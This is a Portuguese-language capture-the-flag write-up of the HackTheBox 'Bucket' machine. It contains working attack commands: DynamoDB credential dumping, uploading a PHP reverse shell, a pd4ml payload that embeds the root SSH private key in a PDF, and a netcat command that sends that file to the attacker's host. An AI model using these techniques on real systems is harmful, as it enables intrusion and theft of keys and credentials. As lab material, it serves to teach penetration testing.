Back to all write-ups: here
Bucket - HackTheBox - WriteUp
Tools utilizadas:
nmap
awscli
curl
wfuzz
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=1/4%OT=22%CT=1%CU=36786%PV=Y%DS=2%DC=T%G=Y%TM=5FF34D45
OS:%P=i686-pc-windows-windows)SEQ(SP=FD%GCD=1%ISR=104%TI=Z%CI=Z%II=I%TS=A)O
OS:PS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DS
OS:T11NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)
Uptime guess: 41.328 days (since Tue Nov 24 06:23:01 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=253 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 190.00 ms 10.10.14.1
2 192.00 ms bucket.htb (10.10.10.212)
Ao acessar a porta 80, somos redirecionados para o dominio: bucket.htb Portanto, vamos adiciona-lo no arquivo de hosts
echo 'bucket.htb 10.10.10.212' >> /etc/hosts
Após isso conseguimos acessar a página web, após alguns testes, não foi possível encontrar outros diretórios e arquivos.
Ao analisar o código fonte, podemos ver que possuimos um subdomain (s3):
http://s3.bucket.htb/
Vamos tentar encontrar diretorios nele com o wfuzz:
Podemos encontrar 2 diretórios:
health
shell
Ao acessar o diretório shell, podemos perceber o serviço ‘DynamoDB’.
Para interagir com esse serviço, vamos utilizar a tool da própria AWS, conhecida como aws-cli
Após algumas horas lendo documentações, finalmente temos o comando correto para interagir:
aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/
e b00m, temos o nome da tabela que está rodando lá :D Vamos ver se conseguimos credenciais;
aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb/
Temos credenciais :D
Mgmt:Management@#1@#
Cloudadm:Welcome123!
Sysadm:n2vM-<_K_Q:.Aa2
Ao tentar valida-las via SSH, nenhum login foi possível
Listando os arquivos e diretórios:
aws --endpoint-url http://s3.bucket.htb/ s3 ls
Após isso, tentamos fazer o upload de uma reverse shell para o servidor. No nosso caso vamos utilizar a shell do ‘Pentest Monkeys’
aws --endpoint-url http://s3.bucket.htb/ s3 cp ./chu.php s3://adserver
Em seguida usamos o curl para chamar nosso arquivo com a shell
curl http://bucket.htb/chu.php
w00t temos uma shell como www-data, vamos tentar melhorar nossa shell com python
python3 -c 'import pty;pty.spawn("/bin/bash")'
Com isso, temos uma shell interativa e encontramos um novo usuário chamado ‘Roy’ Portanto podemos testar as senhas já obtidas previamente para este usuário.
ee entãoo:
Agora vamos melhorar nossa shell logando via SSH com o usuário ‘Roy’
Após uma analise do que estava rodando na máquina, podemos perceber que o arquivo ‘/var/www/bucket-app/index.php’ faz a criação de uma tabela e escreve um arquivo após a requisição correta.
Então, vamos tentar fazer a criação dessa tabela manualmente.
aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url=http://s3.bucket.htb
Agora que a tabela foi criada vamos escrever nosso arquivo desejado.
aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"attached.txt\" icon=\"PushPin\">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url=http://s3.bucket.htb
Podemos validar se foi criado e escrito corretamente.
aws dynamodb scan --table-name alerts --endpoint-url http://s3.bucket.htb/
Precisamos fazer forward para conseguir enviar a requisição, então
ssh -L 8000:127.0.0.1:8000 roy@10.10.10.212
Agora podemos fazer nossa requisição.
curl -X POST -d "action=get_alerts" http://127.0.0.1:8000/ -v
O arquivo agora foi criado na pasta /var/www/bucket-app/files/result.pdf
nc -vvn 10.10.14.218 443 < result.pdf
Agora transferimos o arquivo PDF contendo o arquivo que inserimos na tabela para nossa máquina, utilizando o netcat.
nc -vnlp 443 > result.pdf
Após baixarmos o arquivo para nossa máquina, podemos abri-lo como PDF, e lá está, nosso arquivo (id_rsa)
E então, salvamos o arquivo em nossa máquina com permissão 600 e assim podemos fazer o login como root!
chmod 600 id_rsa
ssh root@bucket.htb -i id_rsa
if i helped you, add + respect at my profile :D
my references
https://docs.aws.amazon.com/pt_br/amazondynamodb/latest/developerguide/Tools.CLI.html
https://searchcloudsecurity.techtarget.com/feature/Hands-on-guide-to-S3-bucket-penetration-testing
https://blogs.perficient.com/2019/08/27/how-to-use-the-aws-api-with-s3-buckets-in-your-pen-test/